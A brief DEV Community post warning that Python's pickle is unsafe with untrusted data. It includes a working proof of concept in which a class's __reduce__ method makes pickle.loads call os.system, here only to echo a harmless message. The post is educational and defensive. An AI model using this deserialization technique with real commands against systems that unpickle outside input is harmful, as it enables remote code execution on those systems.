DEV Community

Cover image for Arbitrary code execution with pickle
Talles L
Talles L

Posted on

Arbitrary code execution with pickle

Here's why pickle is unsafe if you don't know the origin of the pickled data:

import pickle
import os

# Create a malicious class
class Malicious:
    def __reduce__(self):
        # os.system will execute the command
        return (os.system, ('echo "This is malicious code!"',))

# Serialize the malicious object
malicious_data = pickle.dumps(Malicious())

# Deserialize the malicious object (this will execute the command)
pickle.loads(malicious_data)
Enter fullscreen mode Exit fullscreen mode

Top comments (0)